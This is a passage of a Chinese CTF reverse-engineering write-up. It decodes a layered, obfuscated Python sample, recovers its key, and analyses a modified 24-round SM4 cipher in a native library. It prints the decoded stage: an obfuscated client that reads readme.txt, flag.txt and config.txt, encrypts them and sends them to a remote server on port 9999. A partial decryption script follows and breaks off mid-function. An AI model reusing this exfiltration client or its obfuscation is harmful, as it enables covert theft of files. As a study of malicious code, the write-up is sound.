66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARu34WnpArV_|G#C@BgcARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARuLIX=Wf_b97;JWgtC0ATl}%ARr(hARr(hARr(hX=Wf_Z*XC8b!A^>VQh0{C@DG$ARr(hARr(hARr(hARr(hUvg!0b!>DXJs?hRZe<D}ARr(hARr(hARr)Lb97;JWgtBuGYTLeARuyObairWAYXE2b9HQV3JMBjWo96AWo~3&b7^j8Y-L|&X>4UEb8lm7EFflSY-Mg?ZDlMVaBN{|ZggdMbSXLtARr(hUvnTmATSCbARr)LV{{-rAWm;?WeOl5ARu3GY#==#PH%2y3LqdLAa`hKY-J!{b09n*H986)ARr(hARr)VW*}d4AU!=GFggk#ARr(hARr(hARr)LV{{-rAZ2c2a(QrcUuJ1+WhhHUSu7xMY+-3`bY*ySDGDGUARr(hARr(hARu3JAUz;43LqdLARr(hAZ2W6W*}d4AU!=GF**t$ARr(hARr(hARr)LaBLtwAbVeLWhf#-CO$Gsc64=MDIzQ&I5R9DGBGqPATc*7Iv{3gY-Mg?ZDlMVUvFh7B10oBW>#=*J7X<nZA2n0AUHEDATlvDEFdvADLNouV{|TPWq2qleF`8TARr(hARr(hARu3JAUz;53LqdLARr(hAZ2W6W*}d4AU!=GGCB$%ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu#ZV{0yRWo~3)Y-}iMb8l`gWOZ$Db0}YMY$+~fZewp`Whh^7Whf#`W>9u?J9{E5AUHEDATlvDEFdvADJdW;AYvk1ZXziPARr(hARr(hARr(hARr(hUvnTmAT$afARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYWu<VPs!pVQgb4DGDGUARr(hARr(hARr(hARu3JAUz;63LqdLARr(hAZ2W6W*}d4AU!=GGdc<&ARr(hARr(hARr)LWMyGwUt?ixV<;&KARr(hARr(hARr(hUvnTmAT$afARr(hARr)RY-wg7UvnTmJs>nX3LqdLARr(hARr(hAZcbGZf|rTUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAarSMWiE4UWo2+EFfK7E3LqdLARr(hARr(hAYXGJJs>p-3JPRpW*}d7WpZg|d0%5~WGG{8WGOldARr(hUvqR}bY&ntATclsARr(hUua=-XkT_=Y#==#PH%2y3LqdLAYXQ2Y-wa5Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tH845~ARr(hARr(hX=Wf_b97;JWgtC0ATcmH3LqdLARr(hARr(hAZcbGY-MgJV{K$9AU+^4Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT&7&ARr(hARr(hWo&6?AYXHIVRU66Jv|^YFggk#ARr(hARr(hARr)LXkl|`Uv^<^AUz;xVRL9~X<{yIWHl&bZDcNGZewp`Whf~rE@)+VWNBw*b95*v3LqdLARr(hARr(hAYXHIVRU66Js>kM3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGcY;|ARr(hARr(hARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr(hARr(hARr)Lc42I3WFS2tUua=-XkT_=Y#=>7AYX4~C?Zx@OEf)kM|E*oLU>C*b5>VuLU%k;S1?{eG;uj5Rzf>+WjruUGF2ihAUHEDATlvDEFdvADGDGUARr(hARr(hARr(hARu3JbYXO5AUz;7FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG%z{}ARr(hARr(hARr(hX=Wf_c42I3WI75UARr(hARr(hARr(hARr)Lb97;JWgtBuH82VwARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG&wp7ARr(hARr(hARr(ha%FUNa&90-VQh0{3JM?~ARuyObairWAYXQ2Y-wZ)3JPRpW*}c@WprP2WpZ|9a$jg~b95+Sa%XcXItm~lARu3JAUz;4Ffa-rARr)LXm4|LAUz;XZ*FA@3LqdLAa`hKY-J!{b09n*GB7YY3LqdLARr(hAZcbGUvnTmJs>eKFggk#ARr(hARr(hARr)VW*}^3ZYW`LXLBhaJ|HqW3LqdLARr(hARr(hARr(hAYXGJJs>eLFbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvnTmATcs93LqdLARr(hAZ2W6W*}d4AU!=GF)=VY3LqdLARr(hARr(hAYW*2b95j*AYpQ6b6YZ93LqdLARr(hARr(hAYXGJJs>hLFbW_bARr(hARuLIX=Wf_b09rEATcs9Itm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AR;0PARr(hARr(hARr(hUvnTmATls83LqdLARr(hAZ2W6W*}d4AU!=GGB7YY3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AYX4~C?Z*Rb8US)SZF?GL`EVkAUHEDATlvDEFdvADGDGUARr(hARr(hARu3JAUz;5Ffj@WARr(ha%FUNa&91BXm4|L3JMBjWo964VQFqCDLM)uARr)Lb97;JWgtBuFbW_bARu3JZ)0m9Js?hRZe<D}ARr)LX=HdHJs>a&ARr(hUvP41Zggd2Uub1vWMy(7Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tF)%PX3LqdLARr(hAZcbGUvqR}bY&ntJs>bT3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVGD0$BZC^)BL2_6)A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hAYXHIVRU66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARuXGAZ%rBD06vpE@5(Kb}1k{ATl}%ARr(hARr(hARr(hARr(hUvqR}bY&ntAT<ggARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>g)ARr(hARr(hWo&6?AYXHIVRU66Jv|^YItm~lARr(hARr(hARuXGAYXQ6a%pCHUt?`#D06vpE@5(Kc3UxBDLM)uARr(hARr(hARr(hARr)Lb97;JWgtBuGYTLeARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT$afARr(hARr)RY-wg7UvqR}bY&ntJs>kW3LqdLARr(hARr(hAZcbGZf|rTUvP41Zggd2Uub1vWMy(X3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVI7>HdIeKVda#LAjQCd$odp2!Td22gnI7TF6K{P`-U|v&sL^Vb!A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAYX8DX>N37WM61yVPs`;AUz;da&=`2ARr(hARr(hARr(hUvqR}bY&ntATclsARr(hARr(hWo&6?AYXHIVRU66Jv|^aItm~lARr(hARr(hARusZX>N2VBI%Tw=&!Huyqe~hpyri`=bD7&k-g-*q#`K_ARr(hARr(hARr(hUvqR}bY&ntAUQb-ARr(hARr(hWo&6?AYXHIVRU66Jv|^bItm~lARr(hARr(hARusZX>N2VBIlH-=ChUWyqa)%bZBpGAY*K4Wo~pXaCsm+V{dJ3VQyqTAX`&KQdUJ$Ur0|=R9zw|3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)%s`ARr(hARr(hARr(hbaHt*3LqdLARr(hARr(hARr(hAYXHDV{0HiAaieHYh`pUb8lm7WppTWZ)0m^bS^<gUrA0yR4gEKZ)0m^bS_g*LrY&%R8mDjO(_Z>ARr(hARr(hARr(hARr)Lb97;JWgtBuF)<1tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>i3LqdLARr(hARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)=y{ARr(hARr(hARr(hUubW0bRaz-UuR`>Uvp)0c4cy3Xm4|LD06vpE@5(Kb}0%VARr(hARr(hARr)Lb97;JWgtBuF)|7uARr(hARr)RY-wg7UvqR}bY&ntJs>eMItm~lARr(hARr(hARu&dc{&OpARr(hARr(hARr(hARr)Lb8lm7E@N+QZe?S1C@5cOZ*z1kAX7zBRz*@@P)|}+DJcpdARr(hARr(hARr(hARr)Lb97;JWgtBuGB64tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>IVRIm5Itm~lARr(hARr(hARr(hARusZX>N2VW+Gc5T_EVcp5~6F<)pFbw59L7ntNq^A}I<WARr(hARr(hARr(hARr)Lb97;JWgtBuIXMa-ARr(hARr)RY-wg7UvqR}bY&ntJs>hLItm~lARr(hARr(hARuXGAYW-@cpy9=Y-MgJMoCOXQ(sh1UsFX+L@7E7ARr(hARr(hARr(hARr(hUvqR}bY&ntATluuARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;6FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATlvJ3LqdLARr(hARr(hAYW!~VQpm~Js?I&Ohr>)R8L=1MNULpUuk4`T?!x|ARr(hARr(hARu3JbYXO5AUz;5G72CdARr(hARuLIX=Wf_b97;JWgtC0ATlyK3LqdLARr(hARr(hAZcbGZ*wkiVRUFNWq4_GbaN<QW^Q3^WhpueARr(hARr(hARr(hARr(hUvqR}bY&ntATl!wARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5I0_&jARr(hARuLIX=Wf_b97;JWgtC0ATl#L3LqdLARr(hARr(hAa`kWXdrKJWo{^6W^Q3^Wh@{fa$+JWAYpSLUuHTAARr(hARr(hARr(hARr(hUu0o)VIVyqUuG_HWnp9}DGDGUARr(hARr(hARu3JbYXO5AUz;5GzuUfARr(hARuLIX=Wf_b97;JWgtC0ATl&M3LqdLARr(hARr(hAZcbGUvF?>adl;1baHiNC@DG$ARr(hARr(hARr(hARr(haB^vGbSP#bTPj^3<&Tl+fPv<ghvd7qA}I<WARr(hARr(hARr)Lb97;JWgtBuGBpYyARr(hARr)RY-wg7UvqR}bY&ntJs>hQItm~lARr(hARr(hARuXGAZ~ATAYX5AVR3b3UuI!!b7d$gItm~lARr(hARr(hARr(hARu#PZe(9`X>Mn1WnX4#Y-K24b8lm7EFfQIZeeX@EFfQGVRT_B3LqdLARr(hARr(hAYXHIVRU66Js>hR3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGB!F2ARr(hARr(hARr(hUuk4`AS*o}F$y3cARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATl^Q3LqdLARr(hARr(hAaHVNZgePSB3mt8Am)~b<h!=yxQ*qlnB|<PA}I<WARr(hARr(hARr)Lb97;JWgtBuGC2w$ARr(hARr)RY-wg7UvqR}bY&ntJs>hUItm~lARr(hARr(hARu39WOyJeJs>d(ARr(hARr(hARr(hUvqR}bY&ntATlrtARr(hARr(hWo&6?AYXHIVRU66Jv|^ZFggk#ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu&UZDlTVY-MF|C@?NEDGDGUARr(hARr(hARu3JbYXO5AUz;6F$y3cARr(hARuLIX=Wf_b97;JWgtC0ATu#K3LqdLARr(hARr(hAZcbGUvqC`YdQ)bARr(hARr(hARr(hARr)Lb8lm7E@NzOb7d$g3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GIXOBCARr(hARr(hARr(hVsd3+YYGYqX=Wf_Uv6P-WnW()Jv|^_Z)GSVG%{y7X>?&qK0_ibAUHEDATlvDEFdvADLM)uARr)LWMyGwUt?ixV<;&KARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr)ZVQFqCDGDGUARuLIb7eXTARr(hARr(hUu0!rWM5-pY-1=X3I"""

stage2 = base64.b85decode(_1667.encode()).decode("utf-8", errors="replace")

print(stage2)

运行出来的第二部分如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
_j0 = lambda: (30 ^ 126) + (520 % 26)
_j1 = lambda: (158 ^ 184) + (820 % 54)
_j2 = lambda: (37 ^ 2) + (687 % 25)
_j3 = lambda: (72 ^ 112) + (474 % 30)
_j4 = lambda: (173 ^ 82) + (257 % 73)
_j5 = lambda: (117 ^ 203) + (331 % 54)
_j6 = lambda: (242 ^ 46) + (846 % 33)
_j7 = lambda: (21 ^ 148) + (425 % 77)
_j8 = lambda: (139 ^ 134) + (427 % 21)
_j9 = lambda: (245 ^ 62) + (413 % 85)
_j10 = lambda: (242 ^ 65) + (892 % 30)
_j11 = lambda: (22 ^ 58) + (740 % 59)
_j12 = lambda: (139 ^ 248) + (771 % 74)
_j13 = lambda: (219 ^ 230) + (262 % 63)
_j14 = lambda: (17 ^ 89) + (622 % 38)
_j15 = lambda: (229 ^ 205) + (369 % 25)
_j16 = lambda: (111 ^ 33) + (433 % 50)
_j17 = lambda: (41 ^ 142) + (512 % 21)

class _Obf3776:
def __init__(self):
self._v = 751
def _m(self):
return self._v * 5

#!/usr/bin/env python3

import socket
import json
import os
import sys
import hashlib
import time

sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
import crypt_core


class CustomBase64:
CUSTOM_ALPHABET = _oe("8<<BLok1UrR}_R>27yTmms1djUI&{(7Ls{Apm;c@eJQYZA-rTHu4po}aw559KBaUw?kHpDBVghrW#KRr", 83, 214, 17)
STANDARD_ALPHABET = (
_oe("0fj{dfJO_COA?e)7n4^Mo>&>3T^^WT1BYWEqGTnZX)3I6F|~Czuy#AYdpNp$J-J~b;VEk7AYtVtX5cz}", 83, 214, 17)
)
ENCODE_TABLE = str.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)
DECODE_TABLE = str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)

@classmethod
def decode(cls, data: str) -> bytes:
import base64

std_b64 = data.translate(cls.DECODE_TABLE)
return base64.b64decode(std_b64)


SERVER_HOST = ""
SERVER_PORT = 9999
KEY_B64 = _oe("C7MAupdc5tRBM!52kv4Wmp~Hle`A4N5`t?5nObY+L~6Pz5wdF*y=E$zQv!xZ", 83, 214, 17)
KEY = CustomBase64.decode(KEY_B64)
FILES_TO_SEND = [_oe("I-p}FvS)q0emD", 83, 214, 17), _oe("B(-BJ_<B6O", 83, 214, 17), _oe("C$MxRtZ99{emD", 83, 214, 17)]


def _opaque_true():
_x = 0
for _i in range(100):
_x += _i * (_i - _i + 1)
return _x >= 0


def _opaque_false():
_a, _b = 5, 7
return (_a * _b) == (_b * _a + 1)


def _dead_calc():
_dead = 0
for _i in range(50):
_dead = (_dead + _i) % 17
if _dead > 100:
_dead = _dead * 2 + 1
return _dead


def encrypt_file(key: bytes, plaintext: bytes) -> bytes:
_state = 0
_result = None
while _state < 3:
if _state == 0:
if _opaque_true():
_result = crypt_core.encode_data(plaintext, key[:16])
_state = 2
else:
_dead_calc()
_state = 1
elif _state == 1:
_dead_calc()
_state = 2
elif _state == 2:
if _opaque_false():
_result = None
_state = 3
return _result


def send_single_file(sock, filename, plaintext):
_s = 0
_ct = None
_pl = None
while _s < 5:
if _s == 0:
_ct = encrypt_file(KEY, plaintext)
_s = 1
elif _s == 1:
_pl = {_oe("B&>2Jvtu`)", 83, 214, 17): filename, _oe("C#-fVpm;c-emD", 83, 214, 17): _ct.hex()}
_s = 2
elif _s == 2:
if _opaque_true():
sock.sendall(json.dumps(_pl).encode(_oe("KfPvt;{", 83, 214, 17)) + b"\n")
_s = 4
else:
_dead_calc()
_s = 3
elif _s == 3:
_dead_calc()
_s = 4
elif _s == 4:
if not _opaque_false():
time.sleep(0.1)
_s = 5


def _verify_cmd(cmd):
_state = 10
_hash_val = None
_valid = False

while _state < 50:
if _state == 10:
if len(cmd) > 0:
_state = 20
else:
_state = 49
elif _state == 20:
_hash_val = hashlib.md5(cmd.encode()).hexdigest()
_state = 30
elif _state == 30:
if _opaque_true():
_valid = _hash_val == _oe("VWK4=qGuqYBxK?sVWlBw<RW0^B4q9&VB;re<0L2U", 83, 214, 17)
_state = 40
else:
_dead_calc()
_state = 49
elif _state == 40:
if _valid:
_state = 50
else:
_state = 49
elif _state == 49:
return False

return _valid


def _get_server_host(args):
_s = 100
_host = None

while _s < 200:
if _s == 100:
if len(args) > 2:
_s = 110
else:
_s = 120
elif _s == 110:
_host = args[2]
_s = 200
elif _s == 120:
if _opaque_true():
_host = ""
_s = 200
elif _s == 200:
if _opaque_false():
_host = _oe("Ywsm};Xh>fDF", 83, 214, 17)
_s = 201

return _host


def main():
_state = 0
_sock = None
_idx = 0
_printed_header = False

while _state < 100:
if _state == 0:
if _opaque_false():
print(_oe("2B2dm_GLArX8", 83, 214, 17))
_state = 1
elif _state == 1:
if len(sys.argv) < 2:
_state = 5
else:
_state = 2
elif _state == 2:
if _verify_cmd(sys.argv[1]):
_state = 3
else:
_state = 4
elif _state == 3:
if not _printed_header:
print("=" * 50)
print(_oe("8K7l9zh`rSYcQZO7{6mSyk;f8F$cA4C9`^SyD5F)", 83, 214, 17))
print("=" * 50)
_printed_header = True
_state = 10
elif _state == 4:
print("错误:无效的命令")
_state = 99
elif _state == 5:
print("用法:python client.py <command> [SERVER_HOST]")
_state = 99
elif _state == 10:
try:
_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_state = 11
except Exception:
_state = 99
elif _state == 11:
_host = _get_server_host(sys.argv)
_state = 12
elif _state == 12:
try:
_sock.connect((_host, SERVER_PORT))
_state = 20
except Exception as e:
print(f"[!] 连接失败:{e}")
_state = 99
elif _state == 20:
if _idx < len(FILES_TO_SEND):
_state = 21
else:
_state = 30
elif _state == 21:
_fname = FILES_TO_SEND[_idx]
_state = 22
elif _state == 22:
if os.path.exists(_fname):
_state = 23
else:
_state = 28
elif _state == 23:
with open(_fname, "rb") as _f:
_data = _f.read()
_state = 24
elif _state == 24:
if _opaque_true():
print(f"[*] 发送文件")
_state = 25
elif _state == 25:
if not _opaque_false():
send_single_file(_sock, _fname, _data)
_state = 26
elif _state == 26:
_idx += 1
_state = 20
elif _state == 28:
print(f"[-] 文件不存在")
_state = 29
elif _state == 29:
_idx += 1
_state = 20
elif _state == 30:
if _opaque_true():
time.sleep(0.2)
_state = 31
elif _state == 31:
if _sock:
_sock.close()
_state = 99
elif _state == 99:
break


if __name__ == _oe("42g9itaJ>C", 83, 214, 17):
_dead_calc()
if _opaque_true():
main()
else:
_dead_calc()

从这个第2部分能得到一些信息、

KEY_B64 = _oe(“C7MAupdc5tRBM!52kv4WmpHleA4N5t?5nObY+L6Pz5wdF*y=E$zQv!xZ”, 83, 214, 17) KEY = CustomBase64.decode(KEY_B64)

它先用_oe(...) 解出一个字符串,然后再用自定义 Base64 表去还原成 bytes,才能得到真正的key。

但是发送的时候只用了前16字节,

FILES_TO_SEND = [

​ _oe(“I-p}FvS)q0emD”, 83, 214, 17),

oe(“B(-BJ<B6O”, 83, 214, 17),

​ _oe(“C$MxRtZ99{emD”, 83, 214, 17)

]

这部分是实际上要发送的文件名,但被_oe加密了。

SERVER_PORT = 9999,知道端口是9999。

真正的加密逻辑在crypt_core.encode_data(…)。

关于_oe,可能是在线网站没有分析好,那就看它的字节码,字节码是比py文件更准确的。分析字节码大概能看出来

它本质上是三步:

1..对输入字符串做 base64.b85decode

2.对解出来的字节按循环密钥 (_k1, _k2, _rn) 做异或

3.对结果里的字母和数字再做逆向轮转

  1. 字母:-rn mod 26

  2. 数字:-rn mod 10

换成等价的伪代码就是下面的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def _oe(d, k1, k2, rn):
b = base64.b85decode(d.encode())
r = []
keys = (k1, k2, rn)
for i, x in enumerate(b):
k = keys[i % 3]
r.append(x ^ k if k else x)

s = bytes(r).decode()
res = []
for c in s:
if c.isalpha():
base = ord('A') if c.isupper() else ord('a')
res.append(chr((ord(c) - base - rn) % 26 + base))
elif c.isdigit():
res.append(str((int(c) - rn) % 10))
else:
res.append(c)
return ''.join(res)

知道这个那CustomBase64.CUSTOM_ALPHABET 解出来是:

QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890!@

自定义 Base64其实就是把标准 Base64 换了一套字符表。

知道这些就能解出来key的值了,先解出来的KEY_B64

eUYme4MkN1KSC1bWJZJ2w3FUJCiEXT13D2u1KmiNtfhXKZYE

然后去用网站换表解

img

注意哈,这里key是取前16字节的,那就是passvkcDKWLAA45o

也跟着就能解出来

_oe(“C#-fVpm;c-emD”, 83, 214, 17) → “ciphertext”

_oe(“I-p}FvS)q0emD”, 83, 214, 17) → “readme.txt”

oe(“B(-BJ<B6O”, 83, 214, 17) → “flag.txt”

_oe(“C$MxRtZ99{emD”, 83, 214, 17) → “config.txt”

然后知道密钥了,但不知道加密逻辑,就继续去逆向分析这个crypt_core.so文件。

先搜字符串

img

通过交叉引用后定位在了 sub_60B0。

img

看 sub_60B0 的结构

开头先做 16 - n % 16,然后填充整块 0x10/0x05/…,这就是 PKCS#7

然后key 按 4 个 u32 读入

明文块也按 4 个 u32 读入

轮函数的核心形式是:

X[i+4] = X[i] ^ T(X[i+1] ^ X[i+2] ^ X[i+3] ^ rk[i])

结尾是最后 4 个字反序输出

这些都证明了这个加密是SM4 类型的。

轮函数里能看到 rol 2 / 10 / 18 / 24,密钥扩展里能看到 rol 13 / 23,这些都正好对应了

L(x) = x ^ rol2 ^ rol10 ^ rol18 ^ rol24,L’(x) = x ^ rol13 ^ rol23。

但是在这里读不出来S盒和其他常量,就交叉引用到了函数sub_38B4里面,这里面是模块初始化函数。

img

img

0x3fc4 开始把 AC10..AD00 拷到 DBA0..DC90,这就是S盒,256字节

0x409d 把 AD10 拷到 DB80,这就是FK,16字节

0x40ab 开始把 AD20.. 拷到 DB00..,这就是CK,128字节

与标准的SM4加密进行对比,发现这个S盒不是标准的,魔改了。

FK也不同

标准 FK:A3B1BAC6 56AA3350 677D9197 B27022DC

样本 FK:A4861F3B 2D33F783 8EBAAD58 733FDC71

CK也不一样。

在 0x63ab:

1
2
add rbp, 4
cmp rbp, 0x60

0x60 / 4 = 24,说明只生成 24 个轮密钥。

块加密时从 0x6970 进入,轮密钥指针也是每次加 4,整体也是 24 轮状态推进。

img

不是标准 32 轮。

所以写密钥扩展的时候是先把 128-bit key 切成四个 32-bit word,对每轮生成 round key,用自定义的 tp 函数 + FK/CK,注意 24 轮而不是 32 轮。

这个加密逻辑有了,接着就去看那个流量。

img

拿到flag.txt的内容,这就是密文,对它进行解密

写出解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
BLOCK_SIZE = 16
ROUNDS = 24
MASK32 = 0xFFFFFFFF

KEY = b"passvkcDKWLAA45o"

FLAG_CT_HEX = (
"d0edd4a1620f6f01db93699e7291bc57"
"0b7d8cdd4fa0a69a0839ca4b86a7bd8d"
"aacd74313e64da169697af402033a761"
)

SBOX = [
0xEC, 0xCA, 0x0E, 0xF3, 0x08, 0xF0, 0x2A, 0xA2, 0x3B, 0x18, 0x2B, 0x5C,
0x37, 0xBD, 0x12, 0xA8, 0x05, 0xD3, 0xA1, 0x57, 0x4F, 0x96, 0xFC, 0xF5,
0xA7, 0x14, 0x19, 0x66, 0x58, 0x9B, 0xBF, 0xB4, 0x39, 0xD5, 0x1E, 0x1A,
0x30, 0xBC, 0x6C, 0x80, 0xB7, 0xED, 0x41, 0x06, 0xD9, 0x17, 0x67, 0xCD,
0x1D, 0x2C, 0xAE, 0x24, 0x03, 0x13, 0xC6, 0x53, 0x83, 0x11, 0x0A, 0xF7,
0xC0, 0x4D, 0xC4, 0x9E, 0x8D, 0x00, 0x1F, 0xC3, 0x3F, 0x35, 0x9F, 0xCB,
0x72, 0x9D, 0x16, 0x6F, 0xAC, 0xCE, 0x3C, 0x5E, 0xA6, 0xE1, 0x7B, 0x34,
0x36, 0x32, 0xB8, 0x95, 0x91, 0x89, 0x52, 0xC1, 0xE7, 0xA3, 0x33, 0x48,
0x04, 0xCF, 0x10, 0xEB, 0x25, 0xBB, 0x8E, 0x0F, 0x81, 0x6E, 0xB3, 0x43,
0x45, 0x8F, 0x49, 0xF8, 0x4B, 0x59, 0x07, 0x4A, 0xDE, 0xFD, 0xC8, 0xD0,
0x84, 0x8B, 0xFB, 0xDA, 0xDB, 0x28, 0xD4, 0x3E, 0xA4, 0x2F, 0x56, 0xBE,
0xEF, 0x86, 0xC7, 0x62, 0xEA, 0x76, 0xE9, 0xD6, 0x74, 0xA5, 0x6B, 0xF9,
0x98, 0x7D, 0x3A, 0x26, 0x5A, 0xAF, 0x87, 0x0D, 0x1B, 0x2E, 0xB2, 0xE3,
0x6A, 0xCC, 0xF1, 0xFF, 0xD7, 0xF6, 0x1C, 0xC9, 0xE8, 0x70, 0x20, 0x4E,
0x23, 0x3D, 0xC2, 0xAA, 0xDC, 0x0B, 0xF2, 0x5F, 0x7A, 0xFA, 0x88, 0x97,
0x47, 0xD1, 0x0C, 0x02, 0x31, 0x7F, 0xF4, 0x75, 0x15, 0x93, 0x38, 0x8A,
0x42, 0x90, 0x71, 0xDD, 0x73, 0x55, 0x7E, 0xB5, 0x5B, 0x29, 0x4C, 0x9A,
0xE0, 0x8C, 0xB0, 0xE5, 0x64, 0x27, 0x01, 0xDF, 0xAD, 0x21, 0x79, 0x94,
0x92, 0x51, 0x69, 0x7C, 0x22, 0x63, 0x50, 0x85, 0x2D, 0xE2, 0x40, 0x46,
0x44, 0xA9, 0x82, 0xB6, 0x61, 0xD8, 0xD2, 0xB9, 0x68, 0xAB, 0xB1, 0x5D,
0x65, 0x54, 0x77, 0xA0, 0xC5, 0xBA, 0x60, 0x9C, 0xE4, 0xFE, 0xEE, 0x99,
0xE6, 0x78, 0x6D, 0x09,
]

# 这是你抄出来的“原始 32 位值”
FK_RAW = [
0xA4861F3B,
0x2D33F783,
0x8EBAAD58,
0x733FDC71,
]

CK_RAW = [
0x0687149A, 0xA4047965, 0x2D5D53B0, 0xA77A5C86,
0xD4F2FEF7, 0x8B3A9DF0, 0x9003CB67, 0xAAD1B1F3,
0xE3ED4119, 0x5056D5CD, 0x12A62A27, 0xC61D7B39,
0x6BAB7A76, 0x4490A371, 0x92F5778A, 0x07795A7B,
0x5182D197, 0xCB6019CA, 0x3441B544, 0x0AC7303F,
0x726CB35E, 0x16E76955, 0x2C83BF51, 0xBC953AF1,
0x24F8D992, 0x15ED5CE7, 0x65D85845, 0xCD5052BE,
0x948E658F, 0xC05DEAB4, 0xCE7F37B0, 0x6247F44D,
]

def bswap32(x: int) -> int:
return (
((x & 0x000000FF) << 24) |
((x & 0x0000FF00) << 8) |
((x & 0x00FF0000) >> 8) |
((x & 0xFF000000) >> 24)
) & MASK32

# 关键修正:FK / CK 按 little-endian 来源做 32 位翻转
FK = [bswap32(x) for x in FK_RAW]
CK = [bswap32(x) for x in CK_RAW[:ROUNDS]]

def rol32(x: int, n: int) -> int:
x &= MASK32
return ((x << n) | (x >> (32 - n))) & MASK32

def tau(x: int) -> int:
return (
(SBOX[(x >> 24) & 0xFF] << 24)
| (SBOX[(x >> 16) & 0xFF] << 16)
| (SBOX[(x >> 8) & 0xFF] << 8)
| SBOX[x & 0xFF]
)

def l_transform(x: int) -> int:
return x ^ rol32(x, 2) ^ rol32(x, 10) ^ rol32(x, 18) ^ rol32(x, 24)

def lp_transform(x: int) -> int:
return x ^ rol32(x, 13) ^ rol32(x, 23)

def t(x: int) -> int:
return l_transform(tau(x))

def tp(x: int) -> int:
return lp_transform(tau(x))

def u32_be_list(buf: bytes) -> list[int]:
return [int.from_bytes(buf[i:i + 4], "big") for i in range(0, len(buf), 4)]

def expand_key(key: bytes) -> list[int]:
if len(key) != BLOCK_SIZE:
raise ValueError("key 必须是 16 字节")
